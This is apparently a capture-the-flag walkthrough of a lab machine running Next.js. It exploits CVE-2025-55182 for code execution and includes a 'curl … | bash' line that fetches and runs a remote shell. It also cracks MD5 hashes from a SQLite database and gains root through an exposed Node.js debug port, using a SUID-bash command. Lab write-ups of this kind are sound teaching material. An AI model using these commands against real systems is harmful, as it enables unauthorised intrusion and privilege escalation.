Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sun, 24 May 2026 16:34:20 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sun, 24 May 2026 16:34:20 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
|_ Connection: close
Execution

The web page on port 3000 is some kind of monitoring dashboard. It looks fancy but there’s not much to discover. Based on the server headers, it’s powered by Next.js.
A recent exploit is CVE-2025-55182, also dubbed React2Shell. A remote code execution with several proof-of-concepts available.
$ python3 exploit.py --url http://10.129.245.214:3000 \
--cmd id
Success
uid=999(node) gid=988(node) groups=988(node)
$ python3 exploit.py --url http://10.129.245.214:3000 \
--cmd 'curl http://10.10.10.10/shell|bash'First I run id on the target to check if the application is vulnerable. Apparently I can execute code in the context of user node. Then I proceed to get an interactive reverse shell.
Privilege Escalation
Shell as engineer
Within /opt/reactor-app there’s a SQLite3 database called reactor.db. There are only two tables and users contains the hashes for the accounts admin and engineer with the latter being also an account on the host.
$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htbBased on the length of the hashes, MD5 seems to be a likely candidate and john is able to crack the password for engineer. This lets me change the current user with reactor1.
Shell as root
Inspecting all the running processes on the host, shows /usr/bin/node is running as root and has the debugging port open on port 9229 and allows an attacker to run arbitrary commands1.
$ ps auxwww
--- SNIP ---
root 1413 0.0 1.1 1066392 46524 ? Ssl 15:54 0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
--- SNIP ---To interact with it, I forward port 9229 with SSH and run Chrome. This auto-discovers the remote target in chrome://inspect and I can click inspect to open the developer tools in the context of the target.

Now I can just execute JavaScript on the remote host. Therefore I require child_process and then copy a bash binary to /tmp with the SUID bit set.
require('child_process').exec('install --mode=4777 /bin/bash /tmp/bash');Back on my reverse shell I simply run /tmp/bash -p to spawn a new shell as root.
Info
The privilege escalation can be performed right after gaining foothold on the target. The pivot to
engineeris not strictly necessary by using a reverse proxy instead of SSH port-forwarding.
Attack Path
flowchart TD subgraph "Execution" A(NextJS) -->|CVE-2025-55182| B(Shell as node) end subgraph "Privilege Escalation" B -->|Crack MD5 hash in DB| C(Shell as engineer) C -->|Forward port 9229 via SSH| E(Access Node.js debug port) B -->|Forward port 9226 via proxy| E E -->|Process running as root| F(Shell as root) end
